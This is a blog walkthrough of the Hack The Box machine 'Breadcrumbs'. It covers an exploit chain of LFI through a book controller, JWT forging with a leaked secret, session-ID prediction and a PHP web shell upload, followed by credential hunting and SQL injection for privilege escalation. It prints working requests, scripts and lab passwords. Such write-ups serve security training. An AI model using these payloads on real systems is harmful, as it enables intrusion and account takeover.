Tag Archives: JWT

Prelude

Breadcrumbs is a hard box from Hack The Box, developed by helich0pper. This was actually an incredible box and I really liked this machine, even though it is my first hard machine from HTB.

The vulnerabilities used in this machine are simple and exploiting them individually is relatively straight forward. However, the machine is rated hard because there are several small vulnerabilities and we have to craft an exploit chain by combining the exploits for all of the small vulnerabilities to gain the initial foothold.

Gaining initial foothold was the hardest part because of the exploit chain and some weird behavior of the web application during file upload. Because of that, I was stuck there for a good amount of time. Rooting was relatively straight forward than the initial foothold process.

This machine emphasizes the importance of strong enumeration skills and I really enjoyed solving this box.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

nmap -sCV -v -oA nmap/tcp 10.10.10.228

And I got the result as shown below.

Nmap scan report for 10.10.10.228
Host is up (0.052s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

There are quite a lot ports open and I decided to go with SMB first. I loked for NULL/Guest authentications and found nothing.

So, I decided to focus on port 80. I went to http://10.10.10.228/ and found the following page, which was a webapp for a Library.

I started BurpSuite in the background and started looking around the page to build a Site Map of the target.

There was a Check books function and with that we can search the books in the library.

We couldn’t book the books, as the functionality was disabled.

So, I started gobuster and found out a login portal http://10.10.10.228/portal/login.php.

Since I didn’t had credentials to the web site yet, I created an account and I was able to login to the page, even though the login page said my IP is restricted.

There were four functions inside the home page after login. They were check taks, order pizza, user management and file management.

If we clicked on Check Tasks, we could view the current list of isses that are being resolved.

http://10.10.10.228/portal/php/issues.php

These issues contain some nudges for gaining the initial foothold and for privilege escalation.

If we go to User Management, we can see the current list of users.

Also, I could see the list and online status of admins by going to http://10.10.10.228/portal/php/admins.php.

The functions Order Pizza and File Management was disabled for me. When clicking Order Pizza, it showed an error message. But, clicking the File Management showed a weird behavior. It showed a quick redirect to home page when clicked.

When looked at burp, I could see the file upload page when requesting http://10.10.10.228/portal/php/files.php.

This is happening because the page is unauthorized for me to view and it is getting redirecting to home page. [ Explained Later ]

So, I Inspected the page and found out that the file upload in the page is disabled.

This means that there is no controller page to submit this information to and we need to find the corresponding controller page to fix this.

So, I looked around BurpSuite to find the site map of the target and found two things.

• The site have Indexing enabled
• Book searching is calling a controller called bookController.php

So, I navigated to http://10.10.10.228/includes/ in the hope of finding a fileController.php page, but found that there’s only the bookController.php page and a footer page.

So, I decided to check /portal/includes as the login page is located under /portal. So, I navigated to http://10.10.10.228/portal/includes/ and found it!

So, I started another gobuster inside /portal directory and found an /portal/uploads directory.

Neat!

Now, I have the file uploader form, fileController.php file location and the location of uploads.

The next thing to do would be to fix the file upload form and upload the file to it.

Before doing that, I decided to test the fileController.php by passing it the parameters it would be expecting from the file upload page.

So, I sent it a sample request with the following POST variables.

task=test&file=shell.php

And I got the following error.

So, that means we can’t just fix the file upload form and upload files to it. We need to be the right user to do it.

So, I decided to move on from this for now.

I then looked at the request passing to bookController.php and found that it passes the a POST variable method=1 along the name of the book.

Remember in the /portal/php/issues.php page, there was an issue that said ‘Store book information in database‘ . So, let’s test the LFI by trying to include other pages.

I first tried to request a file that doesn’t exist in the target. It errored out and revealed the exact request it is using to fetch the book html page.

The page goes into /books directory, where the book*.html file is stored by using the back one directory symbol (../). This means that we can possibly use this to include any files from the target.

So, I tried to include the fileController.php page using the following request.

POST /includes/bookController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 26

Origin: http://10.10.10.228

Connection: close

Referer: http://10.10.10.228/php/books.php



method=1&book=../portal/includes/filecontroller.php

And I got the output!

Note: Make sure the Content-Length is of the right size. If the Content-Length header is set to a value that is over the actual sending size, then the request will timeout and if the Content-Length header is set to a value that is undersized, then the file name we are requesting will be truncated.

I saved the output to a file. The file contents were passed through the htmlspecialchars() PHP function, so there were so much escape back slashes in place and the multiline contents were converted into a single line using the \r\n characters.

So, as a quick cleanup, I replaced \r\n with \n in text editor (gedit).

And I got the contents in pretty format.

Note: Don’t forget to remove the unwanted backslashes (\) just like this.

Right off the bat, I found that the file contained the JWT token secret. So, this might be about crafting custom JWT token to spoof the identity of an admin.

I have discussed about JWT in detail in the writeup of Tenet.

Further inspection of the file showed that, inorder for the file upload to work, it required two conditions.

• The JWT must contain the username paul
• The $_SESSION['username'] variable must contain the name paul

So, to upload file to the target, we have to login as paul.

Crafting JWT and SESSION ID of Paul

I had the secret to craft JWT, so it wasn’t an issue. However, setting the $_SESSION['username'] as paul is still unknown for me.

So, I started dumping other files like /portal/login.php, /portal/authcontroller.php and /portal/cookie.php.

From /portal/authcontroller.php , I found out that, $_SESSION['username'] is set when a user logs in. So, we either need the credentials of the user paul or we need his valid SESSION ID to upload files.

From /portal/cookie.php, I found out the SESSION generation function and found that due to the weak SESSION ID generation function, the randomness of the SESSION ID is weak.

The session ID generation function does the following things to create the SESSION ID:

• Selects a random letter from $_SESSION['username']
• Sets the key by placing the random letter in the middle of two predefined strings “s4lTystR1nG” and “(!528./9890” . That is, key = “s4lTystR1nG“+ RandomLetter_From _Username+ “(!528./9890“
• Then the function generates the MD5 sum of the key and appends the hash to the username of the logged in user.

And that’s the SESSION ID generation function.

This means the randomness is as limited as the length of the username. Since, paul is a short name, there is scope for only 4 random SESSION IDs.

This means that we can generate the possible SESSION IDs of paul and hijack his SESSION!

If you remember from above, we know that Paul is already active in the portal and all we need to do is to generate his JWT and SESSION ID.

So, I decoded my current JWT using CyberChef and found the JWT format.

Then I created a python script to generate paul‘s JWT from the secret we got earlier.

#!/usr/bin/python3
import jwt
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

encoded = jwt.encode({"data":{"username":"paul"}}, key ='6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e' , algorithm="HS256" )
print(encoded)

And I got the valid JWT of paul.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

I then copied the SESSION ID generation function and created a simple PHP script to generate paul‘s SESSION ID.

<?php
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);
    return $session_cookie;
}
$name="paul";
$session_id=makesession($name);
echo $session_id;

And ran it with the following command.

php session.php

With some trial and error, I found the valid SESSION ID of paul as below.

paul47200b180ccd6835d25d034eeb6e6390

Then I went to /portal/index.php and logged in with the account I signed up for earlier. After that, I changed the JWT and the PHPSESSIONID cookies inside the browser.

And I was in as Paul!

Uploading WebShell as Paul

Once I was logged in as Paul, I clicked the File Management section and the page was opened!

I dumped the http://10.10.10.228/portal/php/files.php file and looked at the source code to find how this happened and found the following block.This means that. if the variable $_SESSION['username'] is not set as paul, then the page will redirect to the home page.

So, I uploaded a simple PHP reverse shell script to it.

<?php system($_GET['cmd']); ?>

But, got the following error.

This is happening due to two things:

1. The uploader doesn’t like the function [ i.e, system() function ] in the PHP file.
2. Like I mentioned above, this could also be an issue of the wrong Content-Length header.

I swapped the system with exec , corrected the Content-Length header and uploaded the file and got the following message.

I then requested the following URL and got code execution. http://10.10.10.228/portal/uploads/test2.php?cmd=whoami

But. this doesn’t have multiline output and error display. So, I used a modified version of artyumm’s php web shell file and used exec() instead of system().

Contents of modified PHP Web Shell can be found from here.

Then I requested the following to upload the Web shell to the target.

POST /portal/includes/fileController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1699192761835623413801827088
Content-Length: 2959
Origin: http://10.10.10.228
Connection: close
Referer: http://10.10.10.228/portal/php/files.php
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

-----------------------------1699192761835623413801827088
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<!-- CONTENTS OF PHP-WEBSHELL-HERE-->


-----------------------------1699192761835623413801827088
Content-Disposition: form-data; name="task"

test2.php
-----------------------------1699192761835623413801827088--

And I got a more flexible web shell with multiline output and error display.

Privilege Escalation #1

I first tried to get an actual reverse shell back using Nishang Invoke-PowerShellTcpOneLine.ps1, but AMSI blocked my attempt.

So, I used an obfuscated version of reverse shell code from Ivan Sincek’s github repo and got a shell back!

Pro Tip #1: For a much more stable shell, we can create a folder .ssh at www-data’s home directory and write an authorized_keys file there, since the target has OpenSSH server running.

Once, I was in he box, I looked around the directories and found a file juliette.json with credentials to Juliette at C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData.

Note: We can also use findstr; windows equivalent of grep to search a string through files.

findstr /s /C:"juliette" *.*

I tried the password jUli901./())! in SSH and I was in as Juliette!

Privilege Escalation #2

There was a todo.html file at Juliette’s Desktop.

It mentioned that there were plaintext passwords stored in Microsoft Sticky Notes application.

I googled a little and found the location of Sticky Notes database as C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite.

But, there were different files at the location and plum.sqlite was empty.

With some trial and error, I found that the database I was looking for is plum.sqlite-wal and it was partially corrupted.

So, I opened the file in terminal and got the password for user development as fN3)sN5Ee@g.

And using that password, I SSH-ed in as development.

Privilege Escalation #3

There were a directory C:\Development, which contained a Linux binary named Krypter_Linux.

So, I moved the file to my Kali box and ran it.

I then used strings tool to find the strings in the binary and found the following.

So, as the message suggests, the binary is requesting a password from http://passmanager.htb:1234 and decrypts it.

1234 is a port that was listening to 127.0.0.1 connections only. So, I forwarded the port using SSH Local port forwarding.

Pro Tip #2 : Press Shift + ~ +c (~C) while inside an SSH shell to enter SSH commands like port forwarding on the fly.

Also, the binary was requesting a URL http://passmanager.htb:1234 with some GET parameters.

So, I copied the parametrs and requested the following URL in BurpSuite .

http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords

And I got the following output.

That was an AES Key. So, we have the means to decrypt the administrator password. Now what we need is the AES encrypted key.

I smell SQL injection!

So, I saved the request to a file and used SQLMAP to dump the table using the following command.

sqlmap -r aes.req --dump

And I got the encrypted administrator password as H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=.

I then used this online tool to decrypt the AES key.

And got the decrypted password as p@ssw0rd!@#$9890./

I used these credentials into SSH and I got in as Administrator!

Postlude

Aaaand that was Breadcrumbs!

This was as enjoyable as a treasure hunt and I thoroughly enjoyed following the breadcrumbs. 😄

Kudos to helich0pper for creating such a cool box!

Massive thanks to KouroshRZ and Sikom for nudging me when I was stuck.

Peace out! ✌️